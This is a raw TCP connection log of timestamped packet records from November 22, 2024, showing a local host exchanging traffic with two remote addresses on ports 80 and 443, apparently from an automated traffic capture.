Nov 22, 2024 04:12:11.719971895 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.722239971 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.722271919 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.723062992 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.723190069 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.723201990 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.744196892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.744335890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.744420052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.744697094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.744828939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.744889975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.745901108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.746023893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.746090889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.747080088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.747204065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.747262955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.748294115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.748354912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.748397112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.748533964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.749486923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.749542952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.749583006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.749636889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.750655890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.750706911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.750773907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.750823021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.751854897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.751914024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.751945972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.752017021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.753068924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.753166914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.753216982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.754286051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.754348993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.754396915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.755424976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.755543947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.755603075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.756618977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.756722927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.756726027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.756762028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.757822037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.757927895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.757972002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.759001017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.759052992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.759095907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.759144068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.760215044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.760274887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.760314941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.760360956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.761389971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.761449099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.761487961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.762593031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.762643099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.762689114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.763044119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.763794899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.763850927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.763921022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.763978004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.765024900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.765095949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.765105009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.765160084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.766172886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.766230106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.766271114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.766458988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.767379999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.767482996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.767537117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.768551111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.768604040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.768644094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.768711090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.769751072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.769820929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.769860029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.769908905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.770926952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.770978928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.771027088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.772120953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.772169113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.772217035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.772743940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.773327112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.773386002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.773432016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.773475885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.774514914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.774568081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.774612904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.774661064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.775726080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.775780916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.775856972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.776051998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.776901960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.776962042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.777009964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.778104067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.778206110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.778253078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.779294968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.779411077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.779460907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.780474901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.780635118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.780674934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.780730963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.781672955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.781730890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.781776905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.781873941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.782886982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.782941103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.782989025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.783060074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.784058094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.784173012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.784226894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.785239935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.785355091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.785413980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.786438942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.786550999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.786602974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.787642956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.787704945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.787734985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.787785053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.788866997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.788924932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.788974047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.789032936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.790016890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.790128946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.790179968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.791220903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.791273117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.791332960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.791393995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.792431116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.792498112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.792536020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.792591095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.793606997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.793721914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.793767929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.794804096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.794904947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.794945002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.795986891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.796062946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.796109915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.796175003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.797238111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.797302961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.797318935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.797391891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.798376083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.798487902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.798506021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.798557997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.799561024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.799669981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.799725056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.800757885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.800865889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.800911903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.801955938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.802067995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.802126884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.803159952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.803214073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.803257942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.803348064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.804341078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.804405928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.804445028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.804486990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.805537939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.805640936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.805694103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.806649923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.807698011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.872807980 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.872859955 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.872932911 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.873079062 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.873090982 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.873099089 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.873102903 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.875165939 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.875241041 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.875353098 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.875463963 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.875499964 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.942997932 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.943150997 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.943221092 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.943367958 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.943396091 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.943450928 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.943468094 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.945352077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.945439100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.945456028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.945595980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.945842981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.945861101 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.945903063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.945943117 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.946043968 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.946122885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.946172953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.946213007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.946253061 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.946283102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.946285009 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.947295904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.947348118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.947423935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.947469950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.948474884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.948523045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.948587894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.948632956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.949685097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.949738979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.949791908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.949875116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.950894117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.950946093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.950989008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.951040030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.952090025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.952138901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.952177048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.952227116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.953257084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.953310966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.953385115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.953430891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.954451084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.954500914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.954540014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.954587936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.955640078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.955688953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.955735922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.955801010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.956841946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.956893921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.956964016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.957015038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.958030939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.958082914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.958126068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.958174944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.959222078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.959341049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.959394932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.960419893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.960526943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.960585117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.961602926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.961669922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.961711884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.962801933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.962855101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.962959051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.963047981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.964030027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.964093924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.964160919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.964202881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.965208054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.965255022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.965271950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.965323925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.966383934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.966434956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.966447115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.966522932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.967571974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.967624903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.967667103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.967715979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.968775034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.968852997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.968874931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.968916893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.969965935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.970020056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.970482111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.970530987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.971158028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.971257925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.971276999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.971353054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.972349882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.972400904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.972486019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.972541094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.973560095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.973609924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.973659992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.973710060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.974741936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.974792004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.974853039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.974903107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.975945950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.975996971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.976011038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.976058006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.977116108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.977166891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.977248907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.977339029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.978307009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.978360891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.978415966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.978477955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.979496002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.979553938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.979594946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.979646921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.980690956 CET	80	49760	31.41.244.11	192.168.2.4
